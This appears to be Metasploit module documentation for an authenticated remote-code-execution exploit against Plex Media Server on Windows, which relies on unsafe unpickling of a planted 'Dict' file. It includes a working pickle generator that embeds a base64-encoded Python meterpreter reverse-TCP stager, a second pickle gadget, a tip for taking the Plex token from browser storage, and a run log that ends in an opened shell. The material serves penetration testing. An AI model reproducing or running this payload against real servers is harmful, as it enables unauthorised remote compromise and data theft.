## Vulnerable Application This module exploits an authenticated Python unsafe `pickle.load` of a `Dict` file. An authenticated attacker can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable `LocalAppDataPath` to the newly created photo library, a file named `Dict` will be unpickled, which causes an RCE as the user who started Plex. If an exploit fails, or is cancelled, `Dict` is left on disk, a new `ALBUM_NAME` will be required as subsuquent writes will make `Dict-1`, and not execute. A vulnerable version of the software can be downloaded from [uptodown.com](https://plex-media-server.en.uptodown.com/windows/versions), specifically [1.18.5.2309](https://plex-media-server.en.uptodown.com/windows/download/2177216) is vulnerable and used for developing the module. The plex server needs to be claimed by an account (free is ok), and the module `PLEX_TOKEN` option needs permission to create a library, and upload files to it. ### Pickle Stub This exploit requires a python pickle file which can be generated with the following code: ``` import pickle class EP(object): def __init__(self): pass def __reduce__(self): # for generating an approximately correct size and content, we use # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1 # that payload is then added after runsource. # The original pre-meterp return would be # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '', 'exec')",)) return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '', 'exec')",)) e = EP() pickle.dumps(e) ``` ### Pickle Gotchas All the examples of Evil Pickle attacks seem to call one command/function. [1](https://github.com/fhightower/evil-pickle/blob/master/evil_pickle_writer.py#L17), [2](https://medium.com/@abhishek.dev.kumar.94/sour-pickle-insecure-deserialization-with-python-pickle-module-efa812c0d565), [3](https://blog.nelhage.com/2011/03/exploiting-pickle/), [4](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) However, @acammack-r7 suggested a way around this. using the `InteractiveInterpreter`. Credit to them for this original code: ``` >>> class Bad(object): ... def __reduce__(self): ... return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"print('ok')\", '', 'exec')",)) ... >>> x = Bad() >>> s = pickle.dumps(x) >>> pickle.loads(s) ok False ``` ## Verification Steps 1. Install the application on an internet-connected host 2. Complete configuration in the browser that pops up 3. Register/Connect it to a Plex account (Free or Plex Pass) 4. Start msfconsole 5. Do: ```use windows/http/plex_unpickle_dict_rce``` 6. Do: ```run``` 7. You should get a shell. ## Options ### ALBUM_NAME Name of the photo album to create. Default is random 6 character. ### LIBRARY_PATH The path to write the photo library to. Must be valid. Default is `C:\\Users\\Public` ### PLEX_TOKEN The `X-Plex-Token` value from requests from an authenticated session. There are multiple ways to obtain this value. The easiest is most likely opening the Console on your web browser (F12) and typing `window.localStorage.myPlexAccessToken`. However, it can also be obtained from [plex library files](https://support.plex.tv/articles/204059436-finding-an-authentication-token-x-plex-token/) or by following [this comment](https://github.com/rapid7/metasploit-framework/pull/13741#issuecomment-649076121) ### REBOOT_SLEEP Amount of seconds to sleep waiting on the server to reboot. In testing `10` seemed to be OK, default is `15`. ## Scenarios ### Plex 10.0.16299 on Windows 10 16299 ``` [*] Processing plex.rb for ERB directives. resource (plex.rb)> use exploit/windows/http/plex_unpickle_dict_rce resource (plex.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (plex.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 resource (plex.rb)> set PLEX_TOKEN aa1g1aa3aaHbAtPBsEG7 PLEX_TOKEN => aa1g1aa3aaHbAtPBsEG7 resource (plex.rb)> set verbose true verbose => true msf5 exploit(windows/http/plex_unpickle_dict_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Gathering Plex Config [*] Server Name: EXPLOITABLE -win10 [+] Server OS: Windows (10.0 (Build 16299)) [+] Server Version: 1.18.5.2309-f5213a238 [+] Camera Upload: 1 [*] Using album name: TAtPGj [*] Adding new photo library [+] Created Photo Library: 163 [*] Adding pickled Dict to library [*] Changing AppPath [*] Restarting Plex [*] Sending stage (53755 bytes) to 2.2.2.2 [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:51092) at 2020-07-03 14:13:08 -0400 [*] Sleeping 15 seconds for server restart [*] Cleanup Phase: Reverting changes from exploitation [*] Changing AppPath [*] Restarting Plex [*] Deleting Photo Library meterpreter > getuid Server username: WIN10PROLICENSE\windows meterpreter > sysinfo Computer : win10prolicensed OS : Windows 10 (Build 16299) Architecture : x64 System Language : en_US Meterpreter : python/windows meterpreter > pwd \\?\C:\Users\Public\TAtPGj\Plex Media Server\Plug-in Support\Data\com.plexapp.system ```